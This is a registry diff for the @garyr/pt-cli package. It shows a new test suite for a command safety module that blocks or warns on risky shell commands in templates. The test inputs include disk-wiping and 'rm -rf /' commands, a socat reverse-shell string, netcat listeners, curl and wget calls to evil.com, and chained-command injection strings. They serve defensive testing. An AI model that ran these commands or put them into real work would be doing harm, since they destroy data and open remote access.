@garyr/pt-cli 0.40.1 → 0.41.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.test-home-remote/.pt/config.yaml +10 -0
- package/README.md +85 -65
- package/dist/commands/initCommand.js +4 -4
- package/dist/commands/learnCommand.js +120 -432
- package/dist/commands/template-detection.js +256 -0
- package/dist/commands/template-prompts.js +332 -0
- package/dist/commands/template-utils.js +565 -0
- package/dist/commands/updateCommand.js +78 -532
- package/dist/config.js +2 -5
- package/dist/safety.js +203 -42
- package/doc/security.md +96 -36
- package/package.json +1 -1
- package/skills/agency-pt-operator/SKILL.md +54 -9
- package/src/commands/initCommand.ts +9 -9
- package/src/commands/learnCommand.ts +157 -423
- package/src/commands/template-detection.ts +269 -0
- package/src/commands/template-prompts.ts +406 -0
- package/src/commands/template-utils.ts +651 -0
- package/src/commands/updateCommand.ts +136 -577
- package/src/config.ts +2 -5
- package/src/safety.ts +239 -53
- package/tests/remote.test.ts +110 -0
- package/tests/safety.test.ts +296 -0
- package/tests/update.test.ts +417 -0
|
@@ -0,0 +1,296 @@
|
|
|
1
|
+
import { test, beforeEach, afterEach } from 'node:test';
|
|
2
|
+
import assert from 'node:assert';
|
|
3
|
+
import fs from 'fs';
|
|
4
|
+
import path from 'path';
|
|
5
|
+
import os from 'os';
|
|
6
|
+
|
|
7
|
+
// Force a temporary home directory for testing
|
|
8
|
+
const testHome = path.join(process.cwd(), '.test-home-safety');
|
|
9
|
+
process.env.HOME = testHome;
|
|
10
|
+
|
|
11
|
+
import {
|
|
12
|
+
isBlockedCommand,
|
|
13
|
+
isDangerousCommand,
|
|
14
|
+
validateTemplateSecurity,
|
|
15
|
+
getSecurityPolicy,
|
|
16
|
+
resetExecutionCounts,
|
|
17
|
+
canExecute,
|
|
18
|
+
logSecurityEvent,
|
|
19
|
+
isTrustedSource
|
|
20
|
+
} from '../src/safety.js';
|
|
21
|
+
|
|
22
|
+
// Helper to clean up test files
|
|
23
|
+
function cleanup(...paths: string[]) {
|
|
24
|
+
for (const p of paths) {
|
|
25
|
+
if (fs.existsSync(p)) {
|
|
26
|
+
fs.rmSync(p, { recursive: true, force: true });
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
// Setup test directory
|
|
32
|
+
function setupTestDir() {
|
|
33
|
+
if (!fs.existsSync(testHome)) {
|
|
34
|
+
fs.mkdirSync(testHome, { recursive: true });
|
|
35
|
+
}
|
|
36
|
+
const configDir = path.join(testHome, '.pt');
|
|
37
|
+
if (!fs.existsSync(configDir)) {
|
|
38
|
+
fs.mkdirSync(configDir, { recursive: true });
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
test('isBlockedCommand: blocks sudo', () => {
|
|
43
|
+
assert.strictEqual(isBlockedCommand('sudo rm -rf /'), true);
|
|
44
|
+
assert.strictEqual(isBlockedCommand('sudo'), true);
|
|
45
|
+
assert.strictEqual(isBlockedCommand('su'), true);
|
|
46
|
+
assert.strictEqual(isBlockedCommand('su -'), true);
|
|
47
|
+
assert.strictEqual(isBlockedCommand('su root'), true);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test('isBlockedCommand: blocks disk operations', () => {
|
|
51
|
+
assert.strictEqual(isBlockedCommand('dd if=/dev/zero of=/dev/sda'), true);
|
|
52
|
+
assert.strictEqual(isBlockedCommand('mkfs.ext4 /dev/sdb'), true);
|
|
53
|
+
assert.strictEqual(isBlockedCommand('fdisk /dev/sda'), true);
|
|
54
|
+
assert.strictEqual(isBlockedCommand('mount /dev/sda1 /mnt'), true);
|
|
55
|
+
assert.strictEqual(isBlockedCommand('umount /mnt'), true);
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
test('isBlockedCommand: blocks dangerous chmod', () => {
|
|
59
|
+
assert.strictEqual(isBlockedCommand('chmod 777 /'), true);
|
|
60
|
+
assert.strictEqual(isBlockedCommand('chmod -R 777 /'), true);
|
|
61
|
+
assert.strictEqual(isBlockedCommand('chmod 666 /etc/passwd'), true);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
test('isBlockedCommand: blocks process killing', () => {
|
|
65
|
+
assert.strictEqual(isBlockedCommand('kill -9 1234'), true);
|
|
66
|
+
assert.strictEqual(isBlockedCommand('killall node'), true);
|
|
67
|
+
assert.strictEqual(isBlockedCommand('pkill -f chrome'), true);
|
|
68
|
+
assert.strictEqual(isBlockedCommand('fuser -k 8080'), true);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
test('isBlockedCommand: blocks network exfiltration tools', () => {
|
|
72
|
+
assert.strictEqual(isBlockedCommand('nc -l 1234'), true);
|
|
73
|
+
assert.strictEqual(isBlockedCommand('netcat 10.0.0.1 4444'), true);
|
|
74
|
+
assert.strictEqual(isBlockedCommand('socat TCP:1.2.3.4:8080 EXEC:bash'), true);
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
test('isBlockedCommand: blocks dangerous package manager commands', () => {
|
|
78
|
+
assert.strictEqual(isBlockedCommand('apt purge nginx'), true);
|
|
79
|
+
assert.strictEqual(isBlockedCommand('apt remove curl'), true);
|
|
80
|
+
assert.strictEqual(isBlockedCommand('yum remove vim'), true);
|
|
81
|
+
assert.strictEqual(isBlockedCommand('brew uninstall git'), true);
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
test('isBlockedCommand: prevents bypass attempts with whitespace', () => {
|
|
85
|
+
// These should still be detected even with extra spaces or variants
|
|
86
|
+
assert.strictEqual(isBlockedCommand('sudo rm -rf /'), true);
|
|
87
|
+
assert.strictEqual(isBlockedCommand(' sudo rm -rf /'), true);
|
|
88
|
+
assert.strictEqual(isBlockedCommand('sudo rm -rf /'), true);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
test('isBlockedCommand: prevents bypass with command chaining', () => {
|
|
92
|
+
// The new parser splits by metacharacters and checks each command
|
|
93
|
+
assert.strictEqual(isBlockedCommand('echo hello; sudo rm -rf /'), true);
|
|
94
|
+
assert.strictEqual(isBlockedCommand('echo hello && sudo rm -rf /'), true);
|
|
95
|
+
assert.strictEqual(isBlockedCommand('echo hello | sudo rm -rf /'), true);
|
|
96
|
+
assert.strictEqual(isBlockedCommand('echo hello || sudo rm -rf /'), true);
|
|
97
|
+
assert.strictEqual(isBlockedCommand('sudo rm -rf /; echo done'), true);
|
|
98
|
+
assert.strictEqual(isBlockedCommand('ls && sudo rm -rf /'), true);
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
test('isBlockedCommand: prevents bypass with quotes', () => {
|
|
102
|
+
assert.strictEqual(isBlockedCommand('"sudo" rm -rf /'), true);
|
|
103
|
+
assert.strictEqual(isBlockedCommand("'sudo' rm -rf /"), true);
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
test('isBlockedCommand: allows safe commands', () => {
|
|
107
|
+
assert.strictEqual(isBlockedCommand('ls -la'), false);
|
|
108
|
+
assert.strictEqual(isBlockedCommand('npm install'), false);
|
|
109
|
+
assert.strictEqual(isBlockedCommand('git status'), false);
|
|
110
|
+
assert.strictEqual(isBlockedCommand('mkdir -p src'), false);
|
|
111
|
+
assert.strictEqual(isBlockedCommand('echo hello'), false);
|
|
112
|
+
assert.strictEqual(isBlockedCommand('cat file.txt'), false);
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
test('isDangerousCommand: warns on remote downloads', () => {
|
|
116
|
+
assert.strictEqual(isDangerousCommand('curl https://example.com'), true);
|
|
117
|
+
assert.strictEqual(isDangerousCommand('wget https://example.com/file'), true);
|
|
118
|
+
assert.strictEqual(isDangerousCommand('curl -O https://example.com/file'), true);
|
|
119
|
+
assert.strictEqual(isDangerousCommand('curl | bash'), true);
|
|
120
|
+
assert.strictEqual(isDangerousCommand('wget | sh'), true);
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
test('isDangerousCommand: warns on script execution', () => {
|
|
124
|
+
assert.strictEqual(isDangerousCommand('bash script.sh'), true);
|
|
125
|
+
assert.strictEqual(isDangerousCommand('sh install.sh'), true);
|
|
126
|
+
assert.strictEqual(isDangerousCommand('python3 script.py'), true);
|
|
127
|
+
assert.strictEqual(isDangerousCommand('node -e "console.log(1)"'), true);
|
|
128
|
+
assert.strictEqual(isDangerousCommand('node -p "1+1"'), true);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
test('isDangerousCommand: warns on shell operations', () => {
|
|
132
|
+
assert.strictEqual(isDangerousCommand('eval "echo hello"'), true);
|
|
133
|
+
assert.strictEqual(isDangerousCommand('exec bash'), true);
|
|
134
|
+
assert.strictEqual(isDangerousCommand('source ~/.bashrc'), true);
|
|
135
|
+
});
|
|
136
|
+
|
|
137
|
+
test('isDangerousCommand: warns on recursive file operations', () => {
|
|
138
|
+
assert.strictEqual(isDangerousCommand('chmod -R 755 .'), true);
|
|
139
|
+
assert.strictEqual(isDangerousCommand('chown -R user:group .'), true);
|
|
140
|
+
assert.strictEqual(isDangerousCommand('chgrp -R group .'), true);
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
test('isDangerousCommand: warns on PowerShell dangerous commands', () => {
|
|
144
|
+
assert.strictEqual(isDangerousCommand('powershell -c "Get-Process"'), true);
|
|
145
|
+
assert.strictEqual(isDangerousCommand('pwsh -c "Get-Process"'), true);
|
|
146
|
+
assert.strictEqual(isDangerousCommand('Invoke-Expression "Get-Process"'), true);
|
|
147
|
+
assert.strictEqual(isDangerousCommand('IEX "Get-Process"'), true);
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
test('isDangerousCommand: warns on macOS dangerous commands', () => {
|
|
151
|
+
assert.strictEqual(isDangerousCommand('diskutil eraseDisk'), true);
|
|
152
|
+
assert.strictEqual(isDangerousCommand('hdiutil create'), true);
|
|
153
|
+
assert.strictEqual(isDangerousCommand('csrutil disable'), true);
|
|
154
|
+
});
|
|
155
|
+
|
|
156
|
+
test('isDangerousCommand: warns on rm with absolute paths', () => {
|
|
157
|
+
assert.strictEqual(isDangerousCommand('rm -rf /tmp'), true);
|
|
158
|
+
assert.strictEqual(isDangerousCommand('rm -rf /etc/passwd'), true);
|
|
159
|
+
assert.strictEqual(isDangerousCommand('rm /var/log/syslog'), true);
|
|
160
|
+
assert.strictEqual(isDangerousCommand('rmdir /tmp/test'), true);
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
test('isDangerousCommand: prevents bypass with command chaining', () => {
|
|
164
|
+
assert.strictEqual(isDangerousCommand('echo hello; curl https://evil.com'), true);
|
|
165
|
+
assert.strictEqual(isDangerousCommand('ls && wget https://evil.com/malware'), true);
|
|
166
|
+
assert.strictEqual(isDangerousCommand('echo test | curl https://evil.com'), true);
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
test('isDangerousCommand: allows safe relative path operations', () => {
|
|
170
|
+
assert.strictEqual(isDangerousCommand('rm -rf build'), false);
|
|
171
|
+
assert.strictEqual(isDangerousCommand('rm -rf ./dist'), false);
|
|
172
|
+
assert.strictEqual(isDangerousCommand('rm file.txt'), false);
|
|
173
|
+
assert.strictEqual(isDangerousCommand('rmdir empty_dir'), false);
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
test('validateTemplateSecurity: rejects templates with blocked commands', () => {
|
|
177
|
+
const template = {
|
|
178
|
+
post_config: [
|
|
179
|
+
{ command: 'sudo rm -rf /' }
|
|
180
|
+
]
|
|
181
|
+
};
|
|
182
|
+
|
|
183
|
+
const result = validateTemplateSecurity(template);
|
|
184
|
+
assert.strictEqual(result.valid, false);
|
|
185
|
+
assert.ok(result.errors.length > 0);
|
|
186
|
+
assert.ok(result.errors[0].includes('Blocked command'));
|
|
187
|
+
});
|
|
188
|
+
|
|
189
|
+
test('validateTemplateSecurity: warns on dangerous commands', () => {
|
|
190
|
+
const template = {
|
|
191
|
+
post_config: [
|
|
192
|
+
{ command: 'curl https://example.com/install.sh | bash' }
|
|
193
|
+
]
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
const result = validateTemplateSecurity(template);
|
|
197
|
+
assert.strictEqual(result.valid, true); // Warnings don't invalidate
|
|
198
|
+
assert.ok(result.warnings.length > 0);
|
|
199
|
+
assert.ok(result.warnings[0].includes('Dangerous command') || result.warnings[0].includes('Remote download'));
|
|
200
|
+
});
|
|
201
|
+
|
|
202
|
+
test('validateTemplateSecurity: warns on shell injection patterns', () => {
|
|
203
|
+
const template = {
|
|
204
|
+
post_config: [
|
|
205
|
+
{ command: 'echo hello; rm -rf /' },
|
|
206
|
+
{ command: 'echo hello && rm -rf /' },
|
|
207
|
+
{ command: 'echo hello | rm -rf /' }
|
|
208
|
+
]
|
|
209
|
+
};
|
|
210
|
+
|
|
211
|
+
const result = validateTemplateSecurity(template);
|
|
212
|
+
assert.strictEqual(result.valid, true);
|
|
213
|
+
assert.ok(result.warnings.some(w => w.includes('Shell injection pattern')));
|
|
214
|
+
});
|
|
215
|
+
|
|
216
|
+
test('validateTemplateSecurity: allows safe templates', () => {
|
|
217
|
+
const template = {
|
|
218
|
+
post_config: [
|
|
219
|
+
{ command: 'npm install' },
|
|
220
|
+
{ command: 'mkdir -p dist' },
|
|
221
|
+
{ command: 'cp src/* dist/' }
|
|
222
|
+
]
|
|
223
|
+
};
|
|
224
|
+
|
|
225
|
+
const result = validateTemplateSecurity(template);
|
|
226
|
+
assert.strictEqual(result.valid, true);
|
|
227
|
+
assert.strictEqual(result.errors.length, 0);
|
|
228
|
+
});
|
|
229
|
+
|
|
230
|
+
test('validateTemplateSecurity: handles missing post_config gracefully', () => {
|
|
231
|
+
const template = {};
|
|
232
|
+
const result = validateTemplateSecurity(template);
|
|
233
|
+
assert.strictEqual(result.valid, true);
|
|
234
|
+
assert.strictEqual(result.errors.length, 0);
|
|
235
|
+
assert.strictEqual(result.warnings.length, 0);
|
|
236
|
+
});
|
|
237
|
+
|
|
238
|
+
test('validateTemplateSecurity: handles empty post_config', () => {
|
|
239
|
+
const template = { post_config: [] };
|
|
240
|
+
const result = validateTemplateSecurity(template);
|
|
241
|
+
assert.strictEqual(result.valid, true);
|
|
242
|
+
});
|
|
243
|
+
|
|
244
|
+
test('getSecurityPolicy: returns defaults when no config', () => {
|
|
245
|
+
const policy = getSecurityPolicy();
|
|
246
|
+
assert.strictEqual(policy.maxExecutionTime, 30000);
|
|
247
|
+
assert.strictEqual(policy.enableAuditLogging, true);
|
|
248
|
+
assert.strictEqual(policy.maxCommandsPerRun, 50);
|
|
249
|
+
assert.strictEqual(policy.securityLevel, 'warn');
|
|
250
|
+
assert.ok(Array.isArray(policy.trustedSources));
|
|
251
|
+
});
|
|
252
|
+
|
|
253
|
+
test('canExecute: rate limits identical commands', () => {
|
|
254
|
+
resetExecutionCounts();
|
|
255
|
+
const cmd = 'npm install';
|
|
256
|
+
assert.strictEqual(canExecute(cmd), true);
|
|
257
|
+
assert.strictEqual(canExecute(cmd), false); // Rate limited
|
|
258
|
+
});
|
|
259
|
+
|
|
260
|
+
test('canExecute: respects max commands per run', () => {
|
|
261
|
+
resetExecutionCounts();
|
|
262
|
+
for (let i = 0; i < 50; i++) {
|
|
263
|
+
assert.strictEqual(canExecute(`cmd${i}`), true);
|
|
264
|
+
}
|
|
265
|
+
assert.strictEqual(canExecute('cmd51'), false);
|
|
266
|
+
});
|
|
267
|
+
|
|
268
|
+
test('isTrustedSource: matches GitHub URLs', () => {
|
|
269
|
+
const sources = ['github.com/garyritchie', 'github.com/lyonritchie'];
|
|
270
|
+
assert.strictEqual(isTrustedSource('https://github.com/garyritchie/template', sources), true);
|
|
271
|
+
assert.strictEqual(isTrustedSource('https://github.com/lyonritchie/repo', sources), true);
|
|
272
|
+
assert.strictEqual(isTrustedSource('https://github.com/otheruser/repo', sources), false);
|
|
273
|
+
});
|
|
274
|
+
|
|
275
|
+
test('logSecurityEvent: creates audit log', () => {
|
|
276
|
+
cleanup(path.join(testHome, '.pt', 'security-audit.log'));
|
|
277
|
+
logSecurityEvent('command_executed', 'npm install', 'test-template', 'success');
|
|
278
|
+
const logPath = path.join(testHome, '.pt', 'security-audit.log');
|
|
279
|
+
assert.ok(fs.existsSync(logPath));
|
|
280
|
+
const content = fs.readFileSync(logPath, 'utf-8');
|
|
281
|
+
assert.ok(content.includes('command_executed'));
|
|
282
|
+
assert.ok(content.includes('npm install'));
|
|
283
|
+
assert.ok(content.includes('test-template'));
|
|
284
|
+
assert.ok(content.includes('success'));
|
|
285
|
+
cleanup(logPath);
|
|
286
|
+
});
|
|
287
|
+
|
|
288
|
+
test('resetExecutionCounts: clears rate limiting', () => {
|
|
289
|
+
resetExecutionCounts();
|
|
290
|
+
canExecute('test');
|
|
291
|
+
canExecute('test');
|
|
292
|
+
resetExecutionCounts();
|
|
293
|
+
assert.strictEqual(canExecute('test'), true);
|
|
294
|
+
});
|
|
295
|
+
|
|
296
|
+
cleanup(testHome);
|